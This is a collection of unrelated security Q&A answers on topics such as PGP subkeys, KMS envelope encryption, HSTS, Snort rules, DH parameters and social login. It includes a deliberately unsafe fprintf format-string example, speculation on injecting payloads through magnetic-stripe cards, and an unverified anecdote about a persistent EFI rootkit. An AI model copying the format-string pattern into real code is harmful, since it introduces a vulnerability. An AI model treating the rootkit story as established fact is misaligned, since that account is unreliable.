You will change the passphrase on any locally stored subkeys, so it's a perfectly valid thing to do. The offline master key's passphrase will not change. The passphrase is what GnuPG uses to symmetrically encrypt your private keys before storing them on disk (to make sure they are not easily stolen via malware or poorly secured backups).

  Now, if I sign something, which is the signing key? I believe it has to be SSK1 since MK is no longer available. Correct?

By default, GnuPG will use the most recently created S key, so SSK1 will be always used in your case -- which is what you want.

  I then upload some public key to a key server using gpg --send-key $id. Which public key/keys have I uploaded?

You upload all public key data, including any new subkeys or identities.

  If someone will use the information from the key server to send me some encrypted information, which public key will be use for the encryption - ESK0 or ESK1? I am worried it would be ESK0 since then the whole point of having subkeys would be completely pointless as for decryption I would still be using ESK0.

Having multiple valid encryption subkeys is a recipe for something like this happening, so I strongly recommend you do NOT create a new encryption subkey. As I said, you do not need a new encryption subkey if you already have one.

  Also, why is it that the guides suggest removal of MK but the ESK0 still is supposed to stay on the system? What is the purpose of ESK1 then?

The "Master key" is your "C" key (certify). It is the key used to sign other people's keys and your own subkeys and identities. If any of your E or S subkeys are lost or you're worried they got exposed to malware, you can simply revoke them and create new ones as long as you trust the integrity of your C key. This is why it is recommended that your C key ("master key") is carefully safeguarded and stored offline.

At the end, your goal is to have the following structure:

existing [SC] key -- stored offline, removed from local disk
existing [E] key -- kept on disk
new [S] key -- kept on disk

Final note -- by default, GnuPG creates your Master key as [SC], but it doesn't have to. You can specifically tell GnuPG to create a standalone [C] key.


I looked into AWS KMS, and also found your other questions. It became clear to me that your plan is to use envelope encryption, and that both previous versions of my answer were not relevant. On reflection, AWS KMS clearly also has this scenario in mind :

AWS KMS Getting Data Key using AWS Encyption SDK
AWS KMS Data Key Rotation
Envelope encryption and Wells '17 AWS KMS Envelope Encryption

You also asked a question about when to re-key the data key - On what basis to create Data Keys. The accepted answer doesn't mention any limits associated with the symmetric cipher, which may or may not be relevant depending on how much data you plan on encrypting.
So, a revised idea:

generate a new session data key at each service (re)start, and regenerate a new key at (or before):

the life of the service, or
up to the limits of the encryption cipher, or
some arbitrary time frame that you decided upon

the service would connect to KMS in the region, and store this next key using the CMK ^
the service will encrypt data symmetrically before writing to the datastore, as you have already decided in your separate post
when the limit approaches, the service will block on further submissions, re-key, and start processing submissions again
(obv. if you only have one service, then progress will be blocked during this short period)

^ alternatively, it could encrypt the new session data key numerous times, with multiple public keys that it holds, eg, test, prod, recovery, ... and store all copies in KMS - apparently KMS can encrypt up to 4KB of data :
K_for_prod = sealed_box( StaticPK_prod, K_session_data )
KMS_payload = KMS_ENCRYPT( K_for_prod | K_for_test | K_for_recover | ... )

More on sealed box() and another alternative: crypto_box()
Depending on the PII, you might wish to disallow edit and just have a superseding or versioning in your data model, with the new data having to be provided again, which would avoid this scenario. In one data model that I worked on, we basically made all PII non-mandatory, so when the user wishes to change something through the forms system, they simply provide the new data. (The submission form is not used to retrieve data - instead, the person must request the information through a totally different channel.) This may not suit you, however, in which case my proposal above would need some way, at time of edit, to recover the data key for that earlier session.
I also noticed you clarified your requirements around HMAC-SHA256 in another question - https://security.stackexchange.com/a/239550/228961 - which describes your desire to be able to search or filter on the encrypted data in the database without exposing it.


Why no one makes a message application like whatsapp using RSA keys?

Telegram is a texting app whose "secret chats" supposedly run on public key encryption or at least Diffie-Hellmann key exchange to use encryption. Other than that, I don't really know about something similar that has actually taken off.

The problem with encryption is that your ordinary person still doesn't consider themselves affected by the massive number of parties who might want their data, whether they are governments, corporations or independent individuals. They think having an honest, law-abiding lifestyle is a total safeguard from mass surveillance. I'm just a 9-to-5 office worker, why should I be affected? This is why your ordinary layman is not concerned about crypto. Admittedly, however, the NSA mass surveillance scandal, and its secondary exposure of other mass surveillance programs like Google or Facebook's, have resulted in laypeople taking privacy and security much more seriously. For example, when Facebook purchased WhatsApp, there was a mass migration of people from WhatsApp to Telegram.

There is, however, a second problem associated with crypto: people view it as hard, arcane and highly academic stuff, like rocket science or quantum mechanics. Just look at how wrong can Hollywood get crypto. Therefore, people just don't use it. Even with tools that simplify using cryptosystems as much as TrueCrypt, GPA and Enigmail on computers, or APG on smartphones, people still think crypto is hard to use by an end user and therefore they don't use it. It really doesn't help that the user himself must take measures to make sure crypto will actually work. When people share passwords as a ritual of love and write them on a Post-it on the monitor, you have large numbers of people who might as well be sending absolutely everything in plaintext.


Is there a way around HTTPS being redirected to HTTP?

Theoretically speaking, the answer is, of course, "It depends."  Practically speaking however, for the client side the answer is "probably not" and the answer for the server side is "yes, with caveats."

Client-side:

This is the situation you're describing.  You visit a site with your browser, explicitly specifying the HTTPS protocol, and are immediately redirected to HTTP.  First, this is not uncommon for news or other content delivery sites.  They often do this to take advantage of CDNs and caching options that are not available over HTTPS in order to reduce the load on the origin servers.

What can you do about it?  Not much.  Generally this is going to be achived by issuing a 30x location header with the location changed only to modify the protocol to HTTP.  By spec, your user agent is supposed to then navigate to that location.  If they are also serving the content in the response body (unlikely) and if you can also induce your user-agent to ignore the location header and not redirect, (not going to happen with a stock browser) then you could theoretically maintain the HTTPS connection.  In reality, they're not going to serve the content and best case is you get an empty response secured by HTTPS.

From the server-side, you have better options.  You can do the same thing in reverse, (redirect HTTP connections to HTTPS via a location header) disable HTTP entirely and only allow HTTPS connections to the server, and you can better enforce HTTPS-always by using  HSTS headers.   Big, high value sites (Gmail, for instance) do this with an concept called HSTS preload which is an option compiled into some browsers requiring that any request to the site be converted to HTTPS before the request is sent. This prevents any information from being accidentally leaked to a MitM even if a user specifically tries to send an HTTP request.  Any site owner, however, can add an HSTS header that tells clients that for some period of time (specified in the header) that client should do the same thing, and only make requests to that domain over HTTPS, even if the user manually attempts to use HTTP.   This cannot protect the first request, but once the HSTS header has been sent future requests, even requests from future sessions will be protected as the HSTS info will be cached locally by the browser until it expires.


Is a keyboard with updatable firmware a security risk?

The important question is: where has the keyboard been ?

Basically, if the keyboard is new and fresh from the factory, then it is about as safe as such things can be. If such a keyboard has been infected with a keylogger, then it was done in the factory and you cannot realistically prevent such a thing anyway. It is up to you to not allow infection to occur afterwards; i.e., don't plug your keyboard in unknown computers.

If the keyboard has been used elsewhere by potentially malicious people, then tough luck. I would advise against buying a second-hand keyboard.


There are a few folks doing IoT security reviews, but not too many of them out there just yet. Matthew Garrett has gained a bit of noteriety for reviewing a few products:

http://mjg59.dreamwidth.org/tag/advogato (reviews are in among other posts and also posted to Amazon)

Some of them to amusing effect:

https://www.theverge.com/circuitbreaker/2016/7/5/12096520/bad-amazon-review-product-pulled-auyou

Several vendors are trying to hawk snakeoil products to protect you from the scary IoT devices in the meanwhile. Hope they work on microwaves too:

https://us.norton.com/core

https://www.bitdefender.com/box/


Unless you've added a new custom attack class in your classification.config file with the name attempted0recon, there isn't any such class in Snort by default. There is however a class named attempted-recon.

You have also not set any additional filters for which the message "SSH retransmission detected" should be reported, so your example would read as:

  Alert with class attempted0recon and message 'SSH retransmission
  detected' any inbound TCP connection to <destinationAddress> port
  22 originating from any remote address and port.

I didn't write it in exact order, as that would make it utterly unreadable, but the general Snort rules form is:

action proto src_ip src_port direction dst_ip dst_port (options)

Your rule could thus read like this:

alert tcp any any -> <destinationAddress> 22 (msg:"SSH retransmission detected";
                                              content:"TCP Retransmission";
                                              nocase;
                                              classtype:attempted-recon;)

for your rule in the example you provided. Since the other (first packet) rule can't depend on any payload contents (as I don't see any in your printout), you could for example use dsize keyword in the options part to identify them by their size and/or other non-payload detections:

alert tcp any any -> <destinationAddress> 22 (msg:"SSH key exchange";
                                              dsize: <518;
                                              classtype:tcp-connection;)

Obviously, you could adopt these to suit your needs better and they are just examples.


Updating stored, encrypted containers on a server

A close enough solution is Rsyncrypto.

Rsyncrypto is a utility to encrypt files in an rsync-friendly fashion. The rsyncrypto algorithm ensures that two almost identical files, when encrypted with rsyncrypto and the same key, will produce almost identical encrypted files. This allows for the low-overhead data transfer achieved by rsync while providing encryption for secure transfer and storage of sensitive data in a remote location.

Rsyncrypto is a modified encryption scheme. It is based on industry standard AES for symmetric encryption, as well as RSA for having different keys for each file while allowing a single key to decrypt all files. It even uses an encryption mode that is based on CBC.


How is entropy "stirring" accomplished in the Microsoft TPM?

RNGs measure true randomness, but must "whiten" their output using a PRNG. The PRNG has an internal state (initialized during seeding, and mutated after every new batch of data is output) of a fixed size, say 256 bits. The RNG also maintain a counter of how much entropy that state actually represents. Each time you read N bits from the "pool", it comes out of the PRNG, and the entropy counter is decreased. (If none is left, the call blocks until the requested amount is there.) Each time a new batch of true randomness is produced, it is hashed into the PRNG's state, and the entropy counter is increased by the number of bits of entropy that batch of randomness represents. (This is usually a conservative estimate.)

In this context, "stirring" means hashing a new value into the PRNG state without increasing the entropy counter. This is not a security risk, because the RNG is not trusting that this represents actual additional entropy. OTOH, if your RNG is poor and is delivering less entropy than it is supposed to, "stirring" in more entropy from somewhere else will protect it.


Profiling attackers via adaptive games: "Strange game, the only winning move is not to play"

Check out "Gamification" of Information Security: Applying Social Game Design Concepts to Information Security | Skype Education.  The goal is different, but some of the analysis and techniques are relevant.


Advantages to alphanumeric-only usernames?

If you allow any sequence of bytes as an username, you'll get a lot of possible problems users can abuse, and other issues:

For unicode, the same character sequence can be represented as different byte sequences. You'll have to do Unicode normalisation in order to get at least some security against people being able to register another byte sequence representation for some username.
Users can chose similar looking characters (e.g. use two spaces instead of one, etc.) in order to fool people into believing it's some other account.
Users could include the / character inside their name, and change links to pages related to their account (e.g. you assign account urls to http://example.com/user/username, and your code splits by /).

Most sites drive the approach that they assign two values for a user: first, a "technical ID", which is alphanumeric, and a second "full name", which can contain spaces and other symbols. The alphanumeric ID has to be unique, and the "full name" can contain duplicates over your site.


WPAD attack is a common attack technique among penetration testers (and attackers) usually performed on the network segment where workstations can be found. Doing WPAD attack on servers might make sense, but it is not common. E.g. there can be an auto-update mechanism which downloads regularly something from the internet. But as you said, your servers had no WAN access.

And yes, the most likely scenario is that there was a device on the network which answered to the WPAD requests. In the future follow best practices and both register the WPAD hostname in your local DNS server, and meanwhile disable "Autodetect proxy settings" on client and server machines.


Sending Encrypted Messages with Hybrid RSA, AES and HMAC SHA-256

I'll step by step and then overall crypto system, seems most logical to me.

  Generate a new AES 256bit/CBC/PKCS7 Master Key (Km)
  Generate a new 128bit IV (strong PRNG)

CBC is fine here as there isn't any sort of oracle the attacker would have access to and bit-flipping attacks are ruled out by the tag. Random IV is correct, 256 bits is more than enough for key size.

  Generate the SHA-512 Hash of (Km) => (Hm)
  Splits (Hm) into Crypt Key => (Kc) and Auth Key => (Ka)

This should be fine. One comment, I'm actually not familiar with the master secret being expanded via a hash (so if this is considered best practice please correct me), is there any reason you don't just generate two 256 bit keys? I'd say unless you really need to conserve packet sizes on the network why not just generate two 256 bit keys, one for AES and one for the HMAC? It's only 256 bits more on the network.

  Encrypts her Message + Timestamp with (Kc) and IV => (M)e
  Signs (IV)+(M)e with (Ka) using HMAC SHA-256 => (IV+(M)e+Tag)

This is good, Encrypt-then-MAC is IND-CCA (i.e. the best generic construction). A nit-picky note: a HMAC is not a signature, but rather a tag. (a tag provides integrity and authenticity, a signature also provides nonrepudiation).

  Encrypts (IV+Km) with Bob's RSA Public Key padded with OAEP => (IV+Km+P)e
  Sends Bob RSA encrypted AES key (IV+Km+P)e and Signed AES Message (IV+(M)e+Tag)

OAEP is a good choice for RSA padding, and is IND-CCA, I see no issues here.

It looks to me like both your symmetric and asymmetric schemes are not susceptible to a chosen ciphertext attack, which is very secure. As such I don't think having the same IV encrypted in both the RSA and AES ciphertexts is an issue. Especially since the IV does not even have to be secret in CBC mode (it just should not be predictable or reused!), and so could be sent in the clear (perhaps by appending the plaintext IV to the AES ciphertext and computing the MAC of that). Then it also would not have to be encrypted under the recipients public key.

Hope that helps, happy to clarify or expand on anything you have questions about!


Preventing data remanence at filesystem / OS level

"Shred" isn't always as effective as you might think, since it relies on the assumption of in-place overwrites.

Using a Solid State Drive (SSD) with TRIM function enabled will reliably remove deleted data, but sometimes there's a delay that can stretch out to many minutes before TRIM does its thing.

None of the above approaches address alternate storage such as cache, or shadow files.

If you're really serious about protection, use a Bootable Non-Persistent OS where everything is in RAM and no changes survive after a power down.


Is using an SSL Session ID along with a cookie based session verification more secure or not really?

The SSL session ID is transient; it designates the "SSL session parameters" that the client remembers about a previous SSL handshake, in particular the negotiated symmetric secret value obtained from the asymmetric cryptography of that handshake. It is kept in RAM only; if the user reboots, or even simply closes all his browser windows, then he forgets the session ID. If you use the SSL session ID as part of the authentication mechanism, then users who close and reopen their browser will have to authenticate with their password again.

If that's what you want, then, by all means, use the SSL session ID. I know of banks who do that for their Web-based bank account management.

Note that if the server reboots, the SSL session ID will also become obsolete: even if it is stored in the database, the rebooted server has forgotten the actual session key (the server, too, stores it in RAM only), and thus will negotiate a new session with a full handshake upon next connection from the client. Also, server memory of past sessions is configurable but often limited in time (with Apache, see the documentation, directives SSLSessionCache and SSLSessionCacheTimeout). Take also care that client's memory is based on the process: on a PC, closing all windows tends to terminate the browser process; on smartphones and tablets, who like to keep things running for inordinate amounts of time, really killing the process is a more convoluted process (usually, the browser "closes" only when the user runs out of battery).

On the other hand, for less critical sites (in the user's point of view), users tend to prefer it when they authenticate once, and they are "remembered" even across reboots or even browser close. For such a feature to work, there is no avoiding it: there must be some user-specific secret stored on the client side. Cookies are not worse than any other mechanism for that, and they are about the only one which is readily available and compatible with all browsers.

Summary: use the SSL session ID if you want very transient sessions, which disappear automatically when the browser is closed (the browser process, not just the relevant window). Use cookies for longer-lived authentication. They are not interchangeable; they don't operate on the same time scale.


Creating root CA to issue certificates programmatically

I believe you're asking the wrong question.  The right question is "Should someone new to security be working on a root CA?" and the answer is "probably not."

It is highly likely that what you're doing will expose everyone who relies on your root CA to high risk of compromise.  This has been demostrated by mature companies like Dell (see, for example, http://www.computerworld.com/article/3008521/security/a-second-dangerous-dell-root-certificate-discovered.html)

There are lots of ways in which things go wrong, which are way beyond the scope of a S.SE question.


Is this fprintf statement potentially vulnerable?

The statement, as you show it, is not vulnerable to anything. However, fprintf() is indeed an interpreter in its own right: what it takes as format string is not just a sequence of characters; it is source code for a specific language with directives beginning with a '%' sign.

When you use your fprintf() function like that, sooner or later, some developer will go all generic and righteous and fanatic of internationalization, and will insist on rewriting it that way:

/* in some .h file */
#define MSG_EN_42   "Some random string\n"

#if LANGUAGE_IS_ENGLISH
#define MSG_42   MSG_EN_42
#endif

/* in another .c file */
fprintf(stderr, MSG_42);

Then, some weeks/months/years later, another developer, with little grasp of C but remarkable knowledge of German/Thaï/Klingon, will change the .h to look like this:

/* in some .h file */
#define MSG_EN_42   "Some random string\n"
#define MSG_KG_42   "fs'k5 f%n59 #$dsai!\n"

#if LANGUAGE_IS_ENGLISH
#define MSG_42   MSG_EN_42
#endif
#if LANGUAGE_IS_KLINGON
#define MSG_42   MSG_KG_42
#endif

And then trouble ensues.

(Not an actual Klingon example, by the way; using true Klingon words on the unsuspecting reader would be kind of rude. But you get the idea.)

To void these issues, use a format string when a format string is due. This would lead to:

fprintf(stderr, "%s", "Some random string\n");

or, as a simpler solution:

fputs("Some random string\n", stderr);


secure Microphone Blocker for Apple devices (macOS and iOS)

The dummy, i.e. unconnected, microphone plug was a commonly recommended security method many years ago. It worked by mechanically breaking the circuit to the internal microphone in order to connect to the non-existent external microphone.
Those days are long past, despite this now misguided security recommendation.
Nearly all modern devices use software controlled ports and connections. Mechanical disconnects no longer work. In fact, plugging in a working external device does not preclude the internal device from being activated simultaneously.


Just an interjection from someone who has been living with this type of attack for quite a while now. Don't forget computers aren't the only devices with ROM/firmware! My prior generation Netgear firewall/router had it's firmware overwritten. Expensive mistake after a couple of new builds.
Also the kit I was attacked with immediately disallowed BIOS reflash by floppy etc. I believe it encrypts the base code fs and then mounts everything as a VM, based on numerous tests. Also had an early Vizio DVD player featuring "updateable firmware" bricked while connected to a projector/pc chain.
Suggest reading BIOS Disassembly Ninjutsu Uncovered ISBN-13: 978-1-931769-60-0 or ISBN-10: 1-931769-60-5 if you can find a copy. It convinced me I wasn't going crazy despite what others said. Funny thing is by all of my tests/observations it appears to be a EFI based root/bootkit and the timeline kind of follows the EFI development timeline. The attacks began a few days after I was falsely accused of commercially using counterfeit m$ software, but never charged.
I'm not in IT but taught myself Linux just so I could get back onto the internet after fresh installs of fully licensed winders failed to boot. The locked firmware forces the use of older drivers for general use, ie SCSI drivers replacing the NV sata drivers while rewriting the HD geometry just as a brief example. Also, bare metal formats are blocked. Luckily lean versions of Linux allow me to keep running my old AMD socket 939 machines until I feel I can build a new machine and configure it and a dedicated router sufficient to withstand this kind of attack. Verizon FIOS is of no help whatsoever, since they don't support Linux and probably couldn't deal with this anyway. I just turned 60 and wrote my first code in BASIC in 1972, but I'm getting too old for this kind of BS. mustermark


Should javascript and css ".map" source maps be included on production servers?

Open Chrome dev tools on any site you know has a source map included, click sources tab and you will immediately see why including source maps on prod is a bad idea. You will get a tonne of information on project structure as stored on disk. This is a particular problem for modern sites that use a component based framework. I.e every view has its own controller, view and css partial.

On a site like this you will see the entire project file and folder structure as stored on the disk. This is dangerous for various reasons, not least the broad partial path disclosure and naming conventions you are giving away.


Expiration / enforce change of passphrase for private ssh keys

Simple answer, no. SSH keys are simple cryptographic keys, if you want to add a validity period to it, you end up in PKI territory.

There is an answer on the Ubuntu Stack Exchange site, asking how to make SSH keys expire automatically, but this is to do with using the ssh-agent tool.

Alternatively, you can use a third party app installed on your server to automatically expire SSH keys based on custom settings. One nice example of this is the SSHARK tool, which uses custom DNS records to record key validity, and using the command= feature in the authorized_keys file.


Comprimising or affecting card readers, billing systems, or POS terminals using a malicious card

What I know about the POS products I resell/support, when taking a credit card for a payment there are set # of characters it's looking for.

In a general sense it's looking for something like this:

16 digits for Visa/Mastercard/Discover
15 for Amex (will just use a Visa/MC/Discover for example)
4 digits for expiration
3 digits security code

So the system wants the data in this format

[Card number][Expiration][Security Code]

There is other information in the stripe, but just trying to illustrate a simple example.

Also, not mentioning chipped cards, just in reference to old magnetic strip only cards, for my example.

So let's say my POS system is expecting 23 digits (16+4+3) and I make a fake card with a card printer.  I have one right next to me on my desk.  However, I mess up in my order of information.

Instead of [Card number][Expiration][Security Code]

I do

[Security Code] [Card number] [Expiration]

The system would still take the information I've given, but most likely will come back with an "invalid card number" like message.

So redo my fake card with the right order of information.  Go to a store and try the card and it works fine.

Decide to include my payload at the end of the card.  My thought that one of two things would happen:

The card would go through normally, the system took it's 24 digits it was looking for submitted to the credit card company for authorization.
The POS would not accept the card as, the amount of digits on the magnetic stripes didn't match the standard set.

On #2 I have seen happen in the wild.  A chain of stores my company supports is next to a large university.  The University gives out ID cards, but they are also a credit card for the students to use.  They can use the card to buy stuff, and to get services (check out books and such) at the University.

Magnetic Stripe Cards have up to 3 tracks of information.  Two tracks are used for a credit card transaction.  One track can be used, but the merchant pays an extra fee as it wasn't a "track 1 & track 2" transaction.

After frequent calls from the store owners with the problem of "XXXX university cards don't work, unless we manually enter them", I went to the university and they let me see a card and swipe it to see how the information was being put on the magnetic stripe.  They were thrown back a little bit by my request, but they understood the problem and I did my test in front of them after an IT staff from the university watched me.

They were putting student ID information on Track 3 of the cards.  So the POS system I support was reading track 1, track 2, and track 3 and not accepting the card because it had too much information.

To fix the problem, the MSR (Magnetic-stripe-readers) at the stores we had to program to not read Track 3 information.

That was my experience with one POS product.  There are hundreds of POS products out there, and I would assume it would be standard practice to only accept "X" number of digits.

If this were a possibility, I would think the "weak" point would be the payment gateway that sends the card information to the bank for approval.

Point of Sale Computer---->Payment Gateway---->Bank of card-owner

The payment gateway sets the syntax of how they want to the data to come to them.

They might like a different way than my example of

[Card number][Expiration][Security Code]

So if we thought of exploiting it, I guess similar to a SQL injection attack, the payment gateway would be where to look.  PG's are pretty hardened systems so I'd imagine they wouldn't tolerate anything that's NOT in their syntax.


(Ich habe dies zweimal aus dem Deutschen übersetzt, um sicherzustellen, dass Sie Google Translate ohne Bedeutungsverlust verwenden können)

In simple terms, you do not have a "web server". You have an application that runs on a web server.

This application must have a so-called "access control" (or password or security feature). This is what you need to check.

An IP Blocker only prevents access from a specific IP address (or IP range), but the attacker only needs to change their IP address (there are ways to do that) and the IP Blocker is defeated ,

If you have changed the password and reinstalled the application on a clean system and the attacker still has access to the application, there may be a vulnerability in the application. It is best to contact the application developers or maintainers (not the web hosting company, since they do not know the application). It is unlikely that you can fix this yourself.


DUKPT - how does the receiver verify the transaction counter?

I am probably a bit late with my answer, but your initial question is very clear for me and I know exactly what you mean.

The KSN is normally stored by the receiving host in order to keep track of the transaction counter. So for each transaction, the host verifies that the sending device is not using a previously used key by checking that the transaction counter in the KSN is higher than it was when previous transaction was handled by the host. For some transaction types however, the host might have logic that it accepts the same set of DUKPT keys to be used for more than one request/response pair. E.g. for technical reversals.

Brg

Arne


What's the difference between DoH and DoT?

In order to answer the original question, i.e. "what is the difference".

In your mind TLS may be synonymous with HTTPS, but it's not. TLS stands for "transport layer security" (formerly: SSL which was secure socket layers). SSL or TLS mean that the original protocol does not change, but that the payload packets are just transporet in a "secure" manner by using encryption on the TCP layer. (As opposed to encrypting the payload and transmitting the cyphertext over an unencryptet connection.)

So HTTPS in fact is "HTTP over SSL/TLS" in other words.

DNS over HTTPS would then translate into DNS over HTTP over SSL/TLS, which is what it means. The DNS protocol (which is not HTTP at all) is packed into an HTTP kind of wrapper format and then send over an SSL/TLS encrypted connection.

The pros and cons and the purpose of one or another are an entirely seperate story but I understand this isn't what you are asking.


Someone logged on my Centos VM; Can they attack the host OS?

The short answer is "Yes, anything is possible."

The long answer is "Maybe, but without more information it's virtually impossible to tell."

You should consider that CentOS VM compromised, remove it from your network and also check the logs on any other systems that were online / connected at the time the unauthorized access occurred.

First, here's something to get you started with CentOS security - one of the first google results for "CentOS hardening":

http://www.slideshare.net/myowntelco/centos-linux-server-hardening

This is a pretty decent slideshare with configuration examples and explanations.

Secondly, consider using port-forwarding instead of exposing that machine completely to the outside world: forward only the ports you absolutely need.

Thirdly, set SSH to use Public/Private keys for authentication instead of passwords:

http://wiki.centos.org/HowTos/Network/SecuringSSH

Using Public/Private key authentication with SSH ensures that no one will just be able to "guess" your password: they'll need your private key.


What is LinkedIn's "email challenges" feature?

It's basically a variation on two factor authentication that checks whether the user has access to their registered email address by emailing them a link containing a token. It is under the assumption that an attacker that has gained access to a LinkedIn account might not have gained access to the user's email inbox.

See here. Extract below.

  LinkedIn prompts users to take additional steps when it determines
  that the logon attempt is unusual.  ... the service presents a
  security challenge when the user attempts to sign-in “from an
  unfamiliar location or device” or when the service detects “suspicious
  web activity.” In this case, the user might be emailed a verification
  link  ... The security challenge could come up when the user accesses
  LinkedIn from a new country. In this case, the person would see:

  “This sign-in attempt seems unusual for you. As a security precaution,
  please check your email to verify this sign-in attempt.”


Where do my keys come from for requests over SSL?

During the TLS handshake the client will use the public key of the server, which it was passed following the ServerHello message, to encrypt a pre-master secret. It is not the entire session key. In the ClientHello message and ServerHello message the two parties swap random values.
The server and the client now use the pre-master secret and the random values to generate the same master secret, which can be used as a session key.

The server's public key is used because in asymmetric cryptography the only person who will be able to decrypt the message will be the holder of the private key.

Check out the wikipedia page for more details on the TLS handshake.


ARP-poisoning on wireless network - no packets

It depends on your WiFi chip. Some chips to not support promiscuous mode. For many chips, you can get special drivers that enable promiscuous mode. You can search on the aircrack-ng for drivers that support your chip, or you can get a $10 USB WiFi device that works better.


Which OpenSource Proxy is Better and easier to use?

The leading proxies are Burp and Zap. Burp pro edition just about has the edge on Zap, but Zap is completely free. The free edition of Burp is usable, but lacks advanced features like the active scanner.

Paros and Webscarab were once leading proxies, but they are no longer cutting edge. Zap is actually a fork of Paros, but it has moved on a lot.

Squid is a proxy, that's true, but it's not an interactive proxy. It's not much help for testing a web app.


Yes, that's correct. That's why if you're using a hash for data integrity then you must deliver the hash by separate means (eg. posting the hash with your twitter account). To get around this problem in emails, rather than using a hash you can use public key cryptography that allows the receiver (and anyone else) to verify the signature using your public key, but the signature cannot be created without your private key. This is what PGP uses.


What is the prime represented in?

Plain base 16 encoding of actual number.

  How can it be converted to an actual prime integer?

Just convert from base 16. Like so:

$ echo "ibase=16;0084F7D46A9654DA8EB0684D8F42FE52A14FDC05F70BF14AFDD\
D0A27B7B4C409DB4D80C2B046E0F6DCFEE29AD25CE87C6E9F81AABC4B8C6E67B5E5B\
203B656D3C3" | bc
69641036876619088755613794741049804861416084108574896892562277663292\
07662129683124275184714669456043499786144904245391117269209586570225\
834561454877365187

And, yes, it is in fact a prime.

$ openssl prime -hex 0084F7D46A9654DA8EB0684D8F42FE52A14FDC05F70BF14AFDDD0A27B7B4C409DB4D80C2B046E0F6DCFEE29AD25CE87C6E9F81AABC4B8C6E67B5E5B203B656D3C3
 84F7D46A9654DA8EB0684D8F42FE52A14FDC05F70BF14AFDDD0A27B7B4C409DB4D80C2B046E0F6DCFEE29AD25CE87C6E9F81AABC4B8C6E67B5E5B203B656D3C3 is prime

  What is encoded (and why?) in the DH parameters section?

Same as the plain text description.

PEM version:

$ cat dh.pem
-----BEGIN DH PARAMETERS-----
MEYCQQCE99RqllTajrBoTY9C/lKhT9wF9wvxSv3dCie3tMQJ202AwrBG4Pbc/uKa
0lzofG6fgaq8S4xuZ7XlsgO2VtPDAgEC
-----END DH PARAMETERS-----

Parsing that file with openssl for human consumption:

$ cat dh.pem | openssl dhparam -noout -text
DH Parameters: (512 bit)
    prime:
        00:84:f7:d4:6a:96:54:da:8e:b0:68:4d:8f:42:fe:
        52:a1:4f:dc:05:f7:0b:f1:4a:fd:dd:0a:27:b7:b4:
        c4:09:db:4d:80:c2:b0:46:e0:f6:dc:fe:e2:9a:d2:
        5c:e8:7c:6e:9f:81:aa:bc:4b:8c:6e:67:b5:e5:b2:
        03:b6:56:d3:c3
    generator: 2 (0x2)

And parsing the actual ASN1 encoding:

$ cat dh.pem | openssl asn1parse -i
0:d=0  hl=2 l=  70 cons: SEQUENCE
2:d=1  hl=2 l=  65 prim:  INTEGER           :84F7D46A9654DA8EB0684D8F42FE52A14FDC05F70BF14AFDDD0A27B7B4C409DB4D80C2B046E0F6DCFEE29AD25CE87C6E9F81AABC4B8C6E67B5E5B203B656D3C3
69:d=1  hl=2 l=   1 prim:  INTEGER           :02

  How do different applications (such as httpd) use this output?

I guess they just link against the OpenSSL library and pass in the relevant files. And allow OpenSSL to take care of it.


System to verify personal information without revealing

It's hard to prove a practice is industry standard, but I will present some scenarios I have come across.

Let's look at some of your constraints:

The users should be presented only with their own PII when using the system
Users should not be able to search for other users' PII
Users do not necessarily know or remember the ID (key) they have been assigned

Your scenario of 10 randomly permutted profile info doesn't look acceptable, especially if it reveals actual PII without authentication -- someone knowing the person will recognise it, for example, or they may validate a profile is real by cross-referencing against other leaked PII databases. It may well break data protection regulations.

It sounds like your organisation already provisioned users accounts to store their PII and keyed it with a globally unique ID. You will need to come up with an authentication system that will help your users to log in and access their provisioned information. This system should allow a variety of authentication scenarios since not all users will be able to use their assigned ID.

Log in using the globally unique ID

This is a common scenario with organisations, however not necessarily the easiest. Typically, before the user interacts for the first time with the online platform, the organisation will most probably have been in touch with them through other means.

If your organisation is in communication with the user through any means (e.g. email, or postal mail), it may be a good idea to proactively specify the globally unique ID, for example as a header, as this should help with the "forgetting the ID" problem. Knowing this information, the user should be able to request a temporary password being sent through the same channel to claim the provisioned account.

The claiming process may include verifying the PII.

Log in using an email or a telephone number

Now, supposing that the users don't know their assigned globally unique ID, they should however know their own email address or phone number.

If a user inputs their phone number or email, you can search and match that against the database. If there is a match (i.e. the offline data gathering and digital entry worked without error), then you may send a temporary password to that same email address or phone number (e.g. as a text). It should be a safe bet to assume that they are personally in control of the email or phone number they have just entered in the system. The user may then enter this temporary password and proceed to verify and claim their user account.

You should not acknowledge any of the email address or phone number exist or don't exist in your database, however, and instead simply state an action would been taken should the entry be valid.

Some more thoughts

Now I understand I talked about "claiming a user account". I accept it can be a barrier for some users to create or otherwise possess yet again another user account and remember yet again another password, especially for something they'd log onto at most once a year. You may gauge the difficulty of requiring they set up a personal password to claim the account, but in the long run this may be beneficial -- I think the claiming process is more cumbersome than "normal" user account management, not to mention less secure.

Please note you would perhaps have to also think about a user support procedure, and hence a phone or other verification procedure.

On "temporary" passwords: you should decide if they need to be limited in time or if they'd only be deactivated once used the first time (one-time passwords).

I have also seen a process using the name and postal address as a form of identification, and the password would be sent in a letter at this address. Now I'm a bit less comfortable with this one, as it would require a manual intervention on the NGO side to assess the validity of the request -- the known name and address may differ with the information specified in the password request, so an operator should manually check if they plausibly match (i.e. different formatting, accents, etc...). This is open to human error, so I'm not recommending it, unless you have the resources and manpower to ensure it.


Why a salt?
In my mind, a salt is a little add to make more flavour. Normaly, the salt is stored in same database than the hashed value himself.
Adding a salt won't add security and won't minimise chance of collision. At all, if collisions are possible, they will just be moved! Don't think you may compensate bad hash method by adding salt!
If you combine first 3 fields with such a secret phrase, you'll be able to make the verification. But chance to obtain collisions are clearly related to number of rows. If your goal is to make hard to an hacker to build proper hash, you have to use a secret phrase. Mostly if you're awaiting for many row in your database!
More youre database is big more i'ts easy to crack them by brute force! So care about hash method!
Other ways
Using server feature, like mysql binlogs to report each operation in a secured backup server (could be a NAS in write only).
A simplier way could be to make secured differentials backups and watch about diffs transactions packets (backup procedure could be trigged very closely if whole database may stay in RAM.).
Or finally, you could add triggers to database engine to be alerted and watch for alterations on database files, by using system tools like FAM ou Inotify.


How does a third party account reset work?

This is called social login.

Basically, facebook redirects you to google with a callback URI. Once on google you authorize facebook to access your basic information (email and name) and google redirects you back to facebook (to the callback URI from before) with a code.

Facebook then contacts google to exchange that code for a token it can use to access your information. If it can access your information on google, and the information matches the expected information, it has successfully authenticated you.

This is an overly simplified view of the process, there are some crucial steps and precautions that must be taken to make this secure.

The current state of the art protocol for social login is OpenID Connect which works on top of OAuth2.


